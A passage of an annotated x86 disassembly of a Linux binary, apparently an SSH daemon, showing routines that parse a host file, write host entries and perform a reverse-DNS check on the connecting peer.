08050558  89 95 dc fb ff ff     mov     %edx,0xfffffbdc(%ebp)   ;-1060 'xdc xfb xff xff' ""
0805055e  8b 3d 10 9c 07 08     mov     0x8079c10,%edi   ;[in .bss] 808464928 'x20 x32 x30 x30' " 20000731
                                                               (Red Hat Linux 7.1 2.96-79)"
08050564  89 85 d4 fb ff ff     mov     %eax,0xfffffbd4(%ebp)   ;-1068 'xd4 xfb xff xff' ""
0805056a  89 f6                 mov     %esi,%esi
0805056c  8b 75 10              mov     0x10(%ebp),%esi
0805056f  0f be 14 33           movsbl  (%ebx,%esi,1),%edx
08050573  f6 44 57 01 01        testb   $0x1,0x1(%edi,%edx,2)
08050578  8a 85 c7 fb ff ff     mov     0xfffffbc7(%ebp),%al   ;-1081 'xc7 xfb xff xff' ""
0805057e  74 09                 je      08050589 <Unknown0051+0x99>
08050580  8b b5 d4 fb ff ff     mov     0xfffffbd4(%ebp),%esi   ;-1068 'xd4 xfb xff xff' ""
08050586  8a 04 96              mov     (%esi,%edx,4),%al
08050589  8b 95 dc fb ff ff     mov     0xfffffbdc(%ebp),%edx   ;-1060 'xdc xfb xff xff' ""
0805058f  88 04 11              mov     %al,(%ecx,%edx,1)
```

```
08050592   43                        inc     %ebx
08050593   41                        inc     %ecx
08050594   3b 5d 14                  cmp     0x14(%ebp),%ebx
08050597   73 18                     jae     080505b1 <Unknown0051+0xc1>
08050599   81 f9 fe 03 00 00         cmp     $0x3fe,%ecx   ;1022 'xfe x3 x0 x0' ""
0805059f   77 10                     ja      080505b1 <Unknown0051+0xc1>
080505a1   8b 75 10                  mov     0x10(%ebp),%esi
080505a4   8a 04 33                  mov     (%ebx,%esi,1),%al
080505a7   3c 2c                     cmp     $0x2c,%al
080505a9   88 85 c7 fb ff ff         mov     %al,0xfffffbc7(%ebp)   ;-1081 'xc7 xfb xff xff' ""
080505af   75 bb                     jne     0805056c <Unknown0051+0x7c>
080505b1   81 f9 fe 03 00 00         cmp     $0x3fe,%ecx   ;1022 'xfe x3 x0 x0' ""
080505b7   77 41                     ja      080505fa <Unknown0051+0x10a>
080505b9   3b 5d 14                  cmp     0x14(%ebp),%ebx
080505bc   73 0a                     jae     080505c8 <Unknown0051+0xd8>
080505be   8b 45 10                  mov     0x10(%ebp),%eax
080505c1   80 3c 03 2c               cmpb    $0x2c,(%ebx,%eax,1)
080505c5   75 01                     jne     080505c8 <Unknown0051+0xd8>
080505c7   43                        inc     %ebx
080505c8   8d 85 e8 fb ff ff         lea     0xfffffbe8(%ebp),%eax   ;-1048 'xe8 xfb xff xff' ""
080505ce   c6 04 01 00               movb    $0x0,(%ecx,%eax,1)
080505d2   51                        push    %ecx
080505d3   50                        push    %eax
080505d4   ff 75 0c                  pushl   0xc(%ebp)
080505d7   ff 75 08                  pushl   0x8(%ebp)
080505da   e8 dd d2 00 00            call    0805d8bc <Unknown0258>
080505df   83 c4 10                  add     $0x10,%esp
080505e2   85 c0                     test    %eax,%eax
080505e4   74 1a                     je      08050600 <Unknown0051+0x110>
080505e6   8b 95 e4 fb ff ff         mov     0xfffffbe4(%ebp),%edx   ;-1052 'xe4 xfb xff xff' ""
080505ec   85 d2                     test    %edx,%edx
080505ee   c7 85 e0 fb ff ff 01 00 00 00   movl   $0x1,0xfffffbe0(%ebp)   ;1 'x1 x0 x0 x0' ""
080505f8   74 06                     je      08050600 <Unknown0051+0x110>
080505fa   31 c0                     xor     %eax,%eax
080505fc   eb 11                     jmp     0805060f <Unknown0051+0x11f>
080505fe   89 f6                     mov     %esi,%esi
08050600   3b 5d 14                  cmp     0x14(%ebp),%ebx
08050603   0f 82 0b ff ff ff         jb      08050514 <Unknown0051+0x24>   ;-245 'xb xff xff xff' ""
08050609   8b 85 e0 fb ff ff         mov     0xfffffbe0(%ebp),%eax   ;-1056 'xe0 xfb xff xff' ""
0805060f   8d 65 f4                  lea     0xfffffff4(%ebp),%esp
08050612   5b                        pop     %ebx
08050613   5e                        pop     %esi
08050614   5f                        pop     %edi
08050615   5d                        pop     %ebp
08050616   c3                        ret
08050617   90                        nop


   ;
   ; >--------------------<  Subroutine #  52 >--------------------<
   ;
08050618 <Unknown0052>:
08050618   55                        push    %ebp
08050619   89 e5                     mov     %esp,%ebp
0805061b   57                        push    %edi
0805061c   56                        push    %esi
0805061d   53                        push    %ebx
0805061e   81 ec 9c 40 00 00         sub     $0x409c,%esp   ;16540 'x9c x40 x0 x0' ""
08050624   6a 00                     push    $0x0
08050626   6a 00                     push    $0x0
08050628   8b 5d 0c                  mov     0xc(%ebp),%ebx
0805062b   53                        push    %ebx
0805062c   8b 75 08                  mov     0x8(%ebp),%esi
0805062f   56                        push    %esi
08050630   e8 6b e3 00 00            call    0805e9a0 <Unknown0279>
08050635   83 c4 10                  add     $0x10,%esp
08050638   85 c0                     test    %eax,%eax
0805063a   89 85 5c bf ff ff         mov     %eax,0xffffbf5c(%ebp)   ;-16548 'x5c xbf xff xff' "\"
08050640   75 62                     jne     080506a4 <Unknown0052+0x8c>
08050642   52                        push    %edx
08050643   8d 85 68 bf ff ff         lea     0xffffbf68(%ebp),%eax   ;-16536 'x68 xbf xff xff' "h"
08050649   50                        push    %eax
0805064a   53                        push    %ebx
0805064b   56                        push    %esi
0805064c   e8 43 e9 00 00            call    0805ef94 <Unknown0287>
08050651   83 c4 10                  add     $0x10,%esp
08050654   85 c0                     test    %eax,%eax
08050656   78 1d                     js      08050675 <Unknown0052+0x5d>
08050658   83 ec 08                  sub     $0x8,%esp
0805065b   53                        push    %ebx
0805065c   68 c0 e9 06 08            push    $0x806e9c0   ;[in .rodata] 1819635523 'x43 x6f x75 x6c' "Could not
                                                                       open %.900s for reading."
08050661   e8 16 61 00 00            call    0805677c <Unknown0156>
08050666   c7 04 24 00 ea 06 08      movl    $0x806ea00,(%esp,1)   ;[in .rodata] 2032166473 'x49 x66 x20 x79' "If
```

your home directory
is on an NFS volume,
it may need to be
world-readable."

```
0805066d  e8 0a 61 00 00           call    0805677c <Unknown0156>
08050672  83 c4 10                 add     $0x10,%esp
08050675  b8 01 00 00 00           mov     $0x1,%eax    ;1 'x1 x0 x0 x0' ""
0805067a  e9 89 01 00 00           jmp     08050808 <Unknown0052+0x1f0>  ;393 'x89 x1 x0 x0' ""
0805067f  90                       nop
08050680  83 ec 0c                 sub     $0xc,%esp
08050683  53                       push    %ebx
08050684  e8 77 01 01 00           call    08060800 <Unknown0307>
08050689  89 3c 24                 mov     %edi,(%esp,1)
0805068c  e8 6f 01 01 00           call    08060800 <Unknown0307>
08050691  58                       pop     %eax
08050692  ff b5 5c bf ff ff        pushl   0xffffbf5c(%ebp)   ;-16548 'x5c xbf xff xff' "\"
08050698  e8 13 e4 00 00           call    0805eab0 <Unknown0280>
0805069d  31 c0                    xor     %eax,%eax
0805069f  e9 64 01 00 00           jmp     08050808 <Unknown0052+0x1f0>  ;356 'x64 x1 x0 x0' "d"
080506a4  83 ec 0c                 sub     $0xc,%esp
080506a7  8d 85 d8 bf ff ff        lea     0xffffbfd8(%ebp),%eax  ;-16424 'xd8 xbf xff xff' ""
080506ad  50                       push    %eax
080506ae  e8 15 0b 01 00           call    080611c8 <Unknown0319>
080506b3  8d 85 c8 bf ff ff        lea     0xffffbfc8(%ebp),%eax  ;-16440 'xc8 xbf xff xff' ""
080506b9  89 04 24                 mov     %eax,(%esp,1)
080506bc  e8 07 0b 01 00           call    080611c8 <Unknown0319>
080506c1  83 c4 10                 add     $0x10,%esp
080506c4  8d b5 e8 bf ff ff        lea     0xffffbfe8(%ebp),%esi  ;-16408 'xe8 xbf xff xff' ""
080506ca  c7 85 58 bf ff ff 01 00 00 00  movl  $0x1,0xffffbf58(%ebp)  ;1 'x1 x0 x0 x0' ""
080506d4  e9 e3 00 00 00           jmp     080507bc <Unknown0052+0x1a4>  ;227 'xe3 x0 x0 x0' ""
080506d9  8d 76 00                 lea     0x0(%esi),%esi
080506dc  89 b5 60 bf ff ff        mov     %esi,0xffffbf60(%ebp)  ;-16544 'x60 xbf xff xff' "`"
080506e2  8a 06                    mov     (%esi),%al
080506e4  3c 20                    cmp     $0x20,%al
080506e6  89 f2                    mov     %esi,%edx
080506e8  eb 11                    jmp     080506fb <Unknown0052+0xe3>
080506ea  89 f6                    mov     %esi,%esi
080506ec  8d 42 01                 lea     0x1(%edx),%eax
080506ef  89 85 60 bf ff ff        mov     %eax,0xffffbf60(%ebp)  ;-16544 'x60 xbf xff xff' "`"
080506f5  89 c2                    mov     %eax,%edx
080506f7  8a 02                    mov     (%edx),%al
080506f9  3c 20                    cmp     $0x20,%al
080506fb  74 ef                    je      080506ec <Unknown0052+0xd4>
080506fd  3c 09                    cmp     $0x9,%al
080506ff  74 eb                    je      080506ec <Unknown0052+0xd4>
08050701  8a 02                    mov     (%edx),%al
08050703  84 c0                    test    %al,%al
08050705  0f 84 b1 00 00 00        je      080507bc <Unknown0052+0x1a4>  ;177 'xb1 x0 x0 x0' ""
0805070b  3c 23                    cmp     $0x23,%al
0805070d  0f 84 a9 00 00 00        je      080507bc <Unknown0052+0x1a4>  ;169 'xa9 x0 x0 x0' ""
08050713  3c 0a                    cmp     $0xa,%al
08050715  0f 84 a1 00 00 00        je      080507bc <Unknown0052+0x1a4>  ;161 'xa1 x0 x0 x0' ""
0805071b  84 c0                    test    %al,%al
0805071d  89 d3                    mov     %edx,%ebx
0805071f  eb 08                    jmp     08050729 <Unknown0052+0x111>
08050721  8d 76 00                 lea     0x0(%esi),%esi
08050724  43                       inc     %ebx
08050725  8a 03                    mov     (%ebx),%al
08050727  84 c0                    test    %al,%al
08050729  74 08                    je      08050733 <Unknown0052+0x11b>
0805072b  3c 20                    cmp     $0x20,%al
0805072d  74 04                    je      08050733 <Unknown0052+0x11b>
0805072f  3c 09                    cmp     $0x9,%al
08050731  75 f1                    jne     08050724 <Unknown0052+0x10c>
08050733  89 d8                    mov     %ebx,%eax
08050735  29 d0                    sub     %edx,%eax
08050737  50                       push    %eax
08050738  ff b5 60 bf ff ff        pushl   0xffffbf60(%ebp)  ;-16544 'x60 xbf xff xff' "`"
0805073e  6a 00                    push    $0x0
08050740  ff 75 10                 pushl   0x10(%ebp)
08050743  e8 a8 fd ff ff           call    080504f0 <Unknown0051>
08050748  83 c4 10                 add     $0x10,%esp
0805074b  85 c0                    test    %eax,%eax
0805074d  74 6d                    je      080507bc <Unknown0052+0x1a4>
0805074f  8d bd c8 bf ff ff        lea     0xffffbfc8(%ebp),%edi  ;-16440 'xc8 xbf xff xff' ""
08050755  57                       push    %edi
08050756  89 9d 60 bf ff ff        mov     %ebx,0xffffbf60(%ebp)  ;-16544 'x60 xbf xff xff' "`"
0805075c  8d 9d d8 bf ff ff        lea     0xffffbfd8(%ebp),%ebx  ;-16424 'xd8 xbf xff xff' ""
08050762  53                       push    %ebx
08050763  8d 85 64 bf ff ff        lea     0xffffbf64(%ebp),%eax  ;-16540 'x64 xbf xff xff' "d"
08050769  50                       push    %eax
0805076a  8d 85 60 bf ff ff        lea     0xffffbf60(%ebp),%eax  ;-16544 'x60 xbf xff xff' "`"
```

```
08050770  50                        push   %eax
08050771  e8 d2 fc ff ff            call   08050448 <Unknown0050>
08050776  83 c4 10                  add    $0x10,%esp
08050779  85 c0                     test   %eax,%eax
0805077b  74 3f                     je     080507bc <Unknown0052+0x1a4>
0805077d  8b 45 14                  mov    0x14(%ebp),%eax
08050780  39 85 64 bf ff ff         cmp    %eax,0xffffbf64(%ebp)  ;-16540 'x64 xbf xff xff' "d"
08050786  75 2a                     jne    080507b2 <Unknown0052+0x19a>
08050788  83 ec 08                  sub    $0x8,%esp
0805078b  ff 75 18                  pushl  0x18(%ebp)
0805078e  53                        push   %ebx
0805078f  e8 88 00 01 00            call   0806081c <Unknown0308>
08050794  83 c4 10                  add    $0x10,%esp
08050797  85 c0                     test   %eax,%eax
08050799  75 17                     jne    080507b2 <Unknown0052+0x19a>
0805079b  83 ec 08                  sub    $0x8,%esp
0805079e  ff 75 1c                  pushl  0x1c(%ebp)
080507a1  57                        push   %edi
080507a2  e8 75 00 01 00            call   0806081c <Unknown0308>
080507a7  83 c4 10                  add    $0x10,%esp
080507aa  85 c0                     test   %eax,%eax
080507ac  0f 84 ce fe ff ff         je     08050680 <Unknown0052+0x68>   ;-306 'xce xfe xff xff' ""
080507b2  c7 85 58 bf ff ff 02 00 00 00   movl   $0x2,0xffffbf58(%ebp)  ;2 'x2 x0 x0 x0' ""
080507bc  57                        push   %edi
080507bd  ff b5 5c bf ff ff         pushl  0xffffbf5c(%ebp)  ;-16548 'x5c xbf xff xff' "\"
080507c3  68 00 40 00 00            push   $0x4000 ;16384 'x0 x40 x0 x0' ""
080507c8  56                        push   %esi
080507c9  e8 12 e6 00 00            call   0805ede0 <Unknown0285>
080507ce  83 c4 10                  add    $0x10,%esp
080507d1  85 c0                     test   %eax,%eax
080507d3  0f 85 03 ff ff ff         jne    080506dc <Unknown0052+0xc4>   ;-253 'x3 xff xff xff' ""
080507d9  83 ec 0c                  sub    $0xc,%esp
080507dc  8d 85 d8 bf ff ff         lea    0xffffbfd8(%ebp),%eax  ;-16424 'xd8 xbf xff xff' ""
080507e2  50                        push   %eax
080507e3  e8 18 00 01 00            call   08060800 <Unknown0307>
080507e8  8d 85 c8 bf ff ff         lea    0xffffbfc8(%ebp),%eax  ;-16440 'xc8 xbf xff xff' ""
080507ee  89 04 24                  mov    %eax,(%esp,1)
080507f1  e8 0a 00 01 00            call   08060800 <Unknown0307>
080507f6  5b                        pop    %ebx
080507f7  ff b5 5c bf ff ff         pushl  0xffffbf5c(%ebp)   ;-16548 'x5c xbf xff xff' "\"
080507fd  e8 ae e2 00 00            call   0805eab0 <Unknown0280>
08050802  8b 85 58 bf ff ff         mov    0xffffbf58(%ebp),%eax  ;-16552 'x58 xbf xff xff' "X"
08050808  8d 65 f4                  lea    0xfffffff4(%ebp),%esp
0805080b  5b                        pop    %ebx
0805080c  5e                        pop    %esi
0805080d  5f                        pop    %edi
0805080e  5d                        pop    %ebp
0805080f  c3                        ret

   ;
   ; >---------------------<  Subroutine #  53 >---------------------<
   ;
08050810 <Unknown0053>:
08050810  55                        push   %ebp
08050811  89 e5                     mov    %esp,%ebp
08050813  57                        push   %edi
08050814  56                        push   %esi
08050815  53                        push   %ebx
08050816  81 ec fc 03 00 00         sub    $0x3fc,%esp  ;1020 'xfc x3 x0 x0' ""
0805081c  68 80 01 00 00            push   $0x180  ;384 'x80 x1 x0 x0' ""
08050821  68 41 04 00 00            push   $0x441  ;1089 'x41 x4 x0 x0' "A"
08050826  ff 75 0c                  pushl  0xc(%ebp)
08050829  ff 75 08                  pushl  0x8(%ebp)
0805082c  e8 6f e1 00 00            call   0805e9a0 <Unknown0279>
08050831  89 c6                     mov    %eax,%esi
08050833  83 c4 10                  add    $0x10,%esp
08050836  85 f6                     test   %esi,%esi
08050838  75 0a                     jne    08050844 <Unknown0053+0x34>
0805083a  31 c0                     xor    %eax,%eax
0805083c  e9 ff 00 00 00            jmp    08050940 <Unknown0053+0x130>  ;255 'xff x0 x0 x0' ""
08050841  8d 76 00                  lea    0x0(%esi),%esi
08050844  83 ec 0c                  sub    $0xc,%esp
08050847  ff 75 14                  pushl  0x14(%ebp)
0805084a  ff 75 10                  pushl  0x10(%ebp)
0805084d  68 4e ea 06 08            push   $0x806ea4e  ;[in .rodata] 808791589 'x25 x2e x35 x30' "%.500s %u "
08050852  8d 9d f8 fb ff ff         lea    0xfffffbf8(%ebp),%ebx  ;-1032 'xf8 xfb xff xff' ""
08050858  68 e8 03 00 00            push   $0x3e8  ;1000 'xe8 x3 x0 x0' ""
0805085d  53                        push   %ebx
0805085e  89 df                     mov    %ebx,%edi
08050860  e8 77 9a ff ff            call   0804a2dc <snprintf>
08050865  fc                        cld
08050866  31 c0                     xor    %eax,%eax
08050868  b9 ff ff ff ff            mov    $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
```

```
0805086d  f2 ae                 repnz scas %es:(%edi),%al
0805086f  f7 d1                 not    %ecx
08050871  49                    dec    %ecx
08050872  83 c4 1c              add    $0x1c,%esp
08050875  51                    push   %ecx
08050876  53                    push   %ebx
08050877  56                    push   %esi
08050878  e8 7b e4 00 00        call   0805ecf8 <Unknown0284>
0805087d  83 ec 08              sub    $0x8,%esp
08050880  6a 0a                 push   $0xa
08050882  ff 75 18              pushl  0x18(%ebp)
08050885  e8 3e 1d 01 00        call   080625c8 <Unknown0338>
0805088a  83 c4 14              add    $0x14,%esp
0805088d  83 c0 02              add    $0x2,%eax
08050890  50                    push   %eax
08050891  e8 fa 65 00 00        call   08056e90 <Unknown0170>
08050896  83 c4 0c              add    $0xc,%esp
08050899  ff 75 18              pushl  0x18(%ebp)
0805089c  89 c3                 mov    %eax,%ebx
0805089e  6a 0a                 push   $0xa
080508a0  53                    push   %ebx
080508a1  89 df                 mov    %ebx,%edi
080508a3  e8 d4 07 01 00        call   0806107c <Unknown0317>
080508a8  fc                    cld
080508a9  31 c0                 xor    %eax,%eax
080508ab  b9 ff ff ff ff        mov    $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
080508b0  f2 ae                 repnz scas %es:(%edi),%al
080508b2  f7 d1                 not    %ecx
080508b4  49                    dec    %ecx
080508b5  83 c4 0c              add    $0xc,%esp
080508b8  51                    push   %ecx
080508b9  53                    push   %ebx
080508ba  56                    push   %esi
080508bb  e8 38 e4 00 00        call   0805ecf8 <Unknown0284>
080508c0  89 1c 24              mov    %ebx,(%esp,1)
080508c3  e8 48 66 00 00        call   08056f10 <Unknown0172>
080508c8  83 c4 0c              add    $0xc,%esp
080508cb  6a 01                 push   $0x1
080508cd  68 59 ea 06 08        push   $0x806ea59   ;[in .rodata] 655392 'x20 x0 xa x0' " "
080508d2  56                    push   %esi
080508d3  e8 20 e4 00 00        call   0805ecf8 <Unknown0284>
080508d8  83 ec 08              sub    $0x8,%esp
080508db  6a 0a                 push   $0xa
080508dd  ff 75 1c              pushl  0x1c(%ebp)
080508e0  e8 e3 1c 01 00        call   080625c8 <Unknown0338>
080508e5  83 c4 14              add    $0x14,%esp
080508e8  83 c0 02              add    $0x2,%eax
080508eb  50                    push   %eax
080508ec  e8 9f 65 00 00        call   08056e90 <Unknown0170>
080508f1  83 c4 0c              add    $0xc,%esp
080508f4  ff 75 1c              pushl  0x1c(%ebp)
080508f7  89 c3                 mov    %eax,%ebx
080508f9  6a 0a                 push   $0xa
080508fb  53                    push   %ebx
080508fc  89 df                 mov    %ebx,%edi
080508fe  e8 79 07 01 00        call   0806107c <Unknown0317>
08050903  fc                    cld
08050904  31 c0                 xor    %eax,%eax
08050906  b9 ff ff ff ff        mov    $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0805090b  f2 ae                 repnz scas %es:(%edi),%al
0805090d  f7 d1                 not    %ecx
0805090f  83 c4 0c              add    $0xc,%esp
08050912  49                    dec    %ecx
08050913  51                    push   %ecx
08050914  53                    push   %ebx
08050915  56                    push   %esi
08050916  e8 dd e3 00 00        call   0805ecf8 <Unknown0284>
0805091b  89 1c 24              mov    %ebx,(%esp,1)
0805091e  e8 ed 65 00 00        call   08056f10 <Unknown0172>
08050923  83 c4 0c              add    $0xc,%esp
08050926  6a 01                 push   $0x1
08050928  68 5b ea 06 08        push   $0x806ea5b  ;[in .rodata] 10 'xa x0 x0 x0' ""
0805092d  56                    push   %esi
0805092e  e8 c5 e3 00 00        call   0805ecf8 <Unknown0284>
08050933  89 34 24              mov    %esi,(%esp,1)
08050936  e8 75 e1 00 00        call   0805eab0 <Unknown0280>
0805093b  b8 01 00 00 00        mov    $0x1,%eax   ;1 'x1 x0 x0 x0' ""
08050940  8d 65 f4              lea    0xfffffff4(%ebp),%esp
08050943  5b                    pop    %ebx
08050944  5e                    pop    %esi
08050945  5f                    pop    %edi
08050946  5d                    pop    %ebp
08050947  c3                    ret
```

```
      ;
      ; >---------------------<  Subroutine #  54 >---------------------<
      ;
08050948 <Unknown0054>:
08050948  55                       push    %ebp
08050949  89 e5                    mov     %esp,%ebp
0805094b  57                       push    %edi
0805094c  56                       push    %esi
0805094d  53                       push    %ebx
0805094e  81 ec 00 06 00 00        sub     $0x600,%esp   ;1536 'x0 x6 x0 x0' ""
08050954  8d 95 04 fa ff ff        lea     0xfffffa04(%ebp),%edx   ;-1532 'x4 xfa xff xff' ""
0805095a  52                       push    %edx
0805095b  8d 45 d8                 lea     0xffffffd8(%ebp),%eax
0805095e  50                       push    %eax
0805095f  ff 75 08                 pushl   0x8(%ebp)
08050962  c7 85 04 fa ff ff 10 00 00 00  movl  $0x10,0xfffffa04(%ebp)   ;16 'x10 x0 x0 x0' ""
0805096c  c7 45 d8 00 00 00 00     movl    $0x0,0xffffffd8(%ebp)   ;0 'x0 x0 x0 x0' ""
08050973  c7 45 dc 00 00 00 00     movl    $0x0,0xffffffdc(%ebp)   ;0 'x0 x0 x0 x0' ""
0805097a  c7 45 e0 00 00 00 00     movl    $0x0,0xffffffe0(%ebp)   ;0 'x0 x0 x0 x0' ""
08050981  c7 45 e4 00 00 00 00     movl    $0x0,0xffffffe4(%ebp)   ;0 'x0 x0 x0 x0' ""
08050988  e8 cf 96 ff ff           call    0804a05c <getpeername>
0805098d  83 c4 10                 add     $0x10,%esp
08050990  85 c0                    test    %eax,%eax
08050992  79 3c                    jns     080509d0 <Unknown0054+0x88>
08050994  83 ec 10                 sub     $0x10,%esp
08050997  e8 a0 94 ff ff           call    08049e3c <__errno_location>
0805099c  5b                       pop     %ebx
0805099d  ff 30                    pushl   (%eax)
0805099f  e8 48 94 ff ff           call    08049dec <strerror>
080509a4  5a                       pop     %edx
080509a5  59                       pop     %ecx
080509a6  50                       push    %eax
080509a7  68 60 ea 06 08           push    $0x806ea60   ;[in .rodata] 1886676327 'x67 x65 x74 x70' "getpeername
                                                         failed: %.100s"
080509ac  e8 57 f4 ff ff           call    0804fe08 <Unknown0040>
080509b1  83 c4 10                 add     $0x10,%esp
080509b4  c7 85 d8 fe ff ff 55 4e 4b 4e  movl  $0x4e4b4e55,0xfffffed8(%ebp)   ;1313558101 'x55 x4e x4b
                                                                               x4e' "UNKN"
080509be  c7 85 dc fe ff ff 4f 57 4e 00  movl  $0x4e574f,0xfffffedc(%ebp)   ;5134159 'x4f x57 x4e x0'
                                                                              "OWN"
080509c8  e9 69 01 00 00           jmp     08050b36 <Unknown0054+0x1ee>   ;361 'x69 x1 x0 x0' "i"
080509cd  8d 76 00                 lea     0x0(%esi),%esi
080509d0  50                       push    %eax
080509d1  0f b7 45 d8              movzwl  0xffffffd8(%ebp),%eax
080509d5  50                       push    %eax
080509d6  6a 04                    push    $0x4
080509d8  8d 45 dc                 lea     0xffffffdc(%ebp),%eax
080509db  50                       push    %eax
080509dc  e8 ab 94 ff ff           call    08049e8c <gethostbyaddr>
080509e1  83 c4 10                 add     $0x10,%esp
080509e4  85 c0                    test    %eax,%eax
080509e6  0f 84 20 01 00 00        je      08050b0c <Unknown0054+0x1c4>   ;288 'x20 x1 x0 x0' " "
080509ec  57                       push    %edi
080509ed  68 ff 00 00 00           push    $0xff   ;255 'xff x0 x0 x0' ""
080509f2  ff 30                    pushl   (%eax)
080509f4  8d b5 d8 fe ff ff        lea     0xfffffed8(%ebp),%esi   ;-296 'xd8 xfe xff xff' ""
080509fa  56                       push    %esi
080509fb  e8 cc 99 ff ff           call    0804a3cc <strncpy>
08050a00  83 c4 10                 add     $0x10,%esp
08050a03  31 db                    xor     %ebx,%ebx
08050a05  80 bd d8 fe ff ff 00     cmpb    $0x0,0xfffffed8(%ebp)   ;-296 'xd8 xfe xff xff' ""
08050a0c  c6 45 d6 00              movb    $0x0,0xffffffd6(%ebp)
08050a10  74 26                    je      08050a38 <Unknown0054+0xf0>
08050a12  89 f2                    mov     %esi,%edx
08050a14  8b 0d 00 9c 07 08        mov     0x8079c00,%ecx   ;[in .bss] 1128482560 'x0 x47 x43 x43' ""
08050a1a  8b 35 10 9c 07 08        mov     0x8079c10,%esi   ;[in .bss] 808464928 'x20 x32 x30 x30' " 20000731
                                                             (Red Hat Linux 7.1 2.96-79)"
08050a20  0f be 04 13              movsbl  (%ebx,%edx,1),%eax
08050a24  f6 44 46 01 01           testb   $0x1,0x1(%esi,%eax,2)
08050a29  74 06                    je      08050a31 <Unknown0054+0xe9>
08050a2b  8b 04 81                 mov     (%ecx,%eax,4),%eax
08050a2e  88 04 13                 mov     %al,(%ebx,%edx,1)
08050a31  43                       inc     %ebx
08050a32  80 3c 13 00              cmpb    $0x0,(%ebx,%edx,1)
08050a36  75 e8                    jne     08050a20 <Unknown0054+0xd8>
08050a38  83 ec 0c                 sub     $0xc,%esp
08050a3b  8d 9d d8 fe ff ff        lea     0xfffffed8(%ebp),%ebx   ;-296 'xd8 xfe xff xff' ""
08050a41  53                       push    %ebx
08050a42  e8 d5 98 ff ff           call    0804a31c <gethostbyname>
08050a47  83 c4 10                 add     $0x10,%esp
08050a4a  85 c0                    test    %eax,%eax
08050a4c  75 26                    jne     08050a74 <Unknown0054+0x12c>
08050a4e  83 ec 08                 sub     $0x8,%esp
```

```
08050a51   53                      push    %ebx
08050a52   68 a0 ea 06 08          push    $0x806eaa0  ;[in .rodata] 1702258034 'x72 x65 x76 x65' "reverse
                                                        mapping checking gethostbyname for %.700s failed -
                                                        POSSIBLE BREAKIN ATTEMPT!"
08050a57   e8 c0 f1 ff ff          call    0804fc1c <Unknown0036>
08050a5c   5e                      pop     %esi
08050a5d   ff 75 dc                pushl   0xffffffdc(%ebp)
08050a60   e8 47 94 ff ff          call    08049eac <inet_ntoa>
08050a65   5a                      pop     %edx
08050a66   59                      pop     %ecx
08050a67   50                      push    %eax
08050a68   53                      push    %ebx
08050a69   e8 7e 9a ff ff          call    0804a4ec <strcpy>
08050a6e   e9 c0 00 00 00          jmp     08050b33 <Unknown0054+0x1eb>  ;192 'xc0 x0 x0 x0' ""
08050a73   90                      nop
08050a74   8b 40 10                mov     0x10(%eax),%eax
08050a77   89 85 f8 f9 ff ff       mov     %eax,0xfffff9f8(%ebp)  ;-1544 'xf8 xf9 xff xff' ""
08050a7d   8b 30                   mov     (%eax),%esi
08050a7f   31 db                   xor     %ebx,%ebx
08050a81   85 f6                   test    %esi,%esi
08050a83   74 46                   je      08050acb <Unknown0054+0x183>
08050a85   8d 7d dc                lea     0xffffffdc(%ebp),%edi
08050a88   b9 04 00 00 00          mov     $0x4,%ecx  ;4 'x4 x0 x0 x0' ""
08050a8d   fc                      cld
08050a8e   f3 a6                   repz cmpsb %es:(%edi),%ds:(%esi)
08050a90   0f 97 c2                seta    %dl
08050a93   0f 92 c0                setb    %al
08050a96   38 c2                   cmp     %al,%dl
08050a98   74 31                   je      08050acb <Unknown0054+0x183>
08050a9a   8b 85 f8 f9 ff ff       mov     0xfffff9f8(%ebp),%eax  ;-1544 'xf8 xf9 xff xff' ""
08050aa0   89 85 fc f9 ff ff       mov     %eax,0xfffff9fc(%ebp)  ;-1540 'xfc xf9 xff xff' ""
08050aa6   89 f6                   mov     %esi,%esi
08050aa8   43                      inc     %ebx
08050aa9   8b 85 fc f9 ff ff       mov     0xfffff9fc(%ebp),%eax  ;-1540 'xfc xf9 xff xff' ""
08050aaf   8b 34 98                mov     (%eax,%ebx,4),%esi
08050ab2   85 f6                   test    %esi,%esi
08050ab4   74 15                   je      08050acb <Unknown0054+0x183>
08050ab6   8d 7d dc                lea     0xffffffdc(%ebp),%edi
08050ab9   b9 04 00 00 00          mov     $0x4,%ecx  ;4 'x4 x0 x0 x0' ""
08050abe   fc                      cld
08050abf   f3 a6                   repz cmpsb %es:(%edi),%ds:(%esi)
08050ac1   0f 97 c2                seta    %dl
08050ac4   0f 92 c0                setb    %al
08050ac7   38 c2                   cmp     %al,%dl
08050ac9   75 dd                   jne     08050aa8 <Unknown0054+0x160>
08050acb   8b 85 f8 f9 ff ff       mov     0xfffff9f8(%ebp),%eax  ;-1544 'xf8 xf9 xff xff' ""
08050ad1   8b 04 98                mov     (%eax,%ebx,4),%eax
08050ad4   85 c0                   test    %eax,%eax
08050ad6   75 5e                   jne     08050b36 <Unknown0054+0x1ee>
08050ad8   57                      push    %edi
08050ad9   8d 9d d8 fe ff ff       lea     0xfffffed8(%ebp),%ebx  ;-296 'xd8 xfe xff xff' ""
08050adf   53                      push    %ebx
08050ae0   56                      push    %esi
08050ae1   ff 75 dc                pushl   0xffffffdc(%ebp)
08050ae4   e8 c3 93 ff ff          call    08049eac <inet_ntoa>
08050ae9   5a                      pop     %edx
08050aea   59                      pop     %ecx
08050aeb   50                      push    %eax
08050aec   68 00 eb 06 08          push    $0x806eb00  ;[in .rodata] 1919181889 'x41 x64 x64 x72' "Address
                                                        %.100s maps to %.600s, but this does not map back to
                                                        the address - POSSIBLE BREAKIN ATTEMPT!"
08050af1   e8 26 f1 ff ff          call    0804fc1c <Unknown0036>
08050af6   5f                      pop     %edi
08050af7   ff 75 dc                pushl   0xffffffdc(%ebp)
08050afa   e8 ad 93 ff ff          call    08049eac <inet_ntoa>
08050aff   59                      pop     %ecx
08050b00   5e                      pop     %esi
08050b01   50                      push    %eax
08050b02   53                      push    %ebx
08050b03   e8 e4 99 ff ff          call    0804a4ec <strcpy>
08050b08   eb 29                   jmp     08050b33 <Unknown0054+0x1eb>
08050b0a   89 f6                   mov     %esi,%esi
08050b0c   83 ec 0c                sub     $0xc,%esp
08050b0f   ff 75 dc                pushl   0xffffffdc(%ebp)
08050b12   e8 95 93 ff ff          call    08049eac <inet_ntoa>
08050b17   5f                      pop     %edi
08050b18   5a                      pop     %edx
08050b19   50                      push    %eax
08050b1a   8d 9d d8 fe ff ff       lea     0xfffffed8(%ebp),%ebx  ;-296 'xd8 xfe xff xff' ""
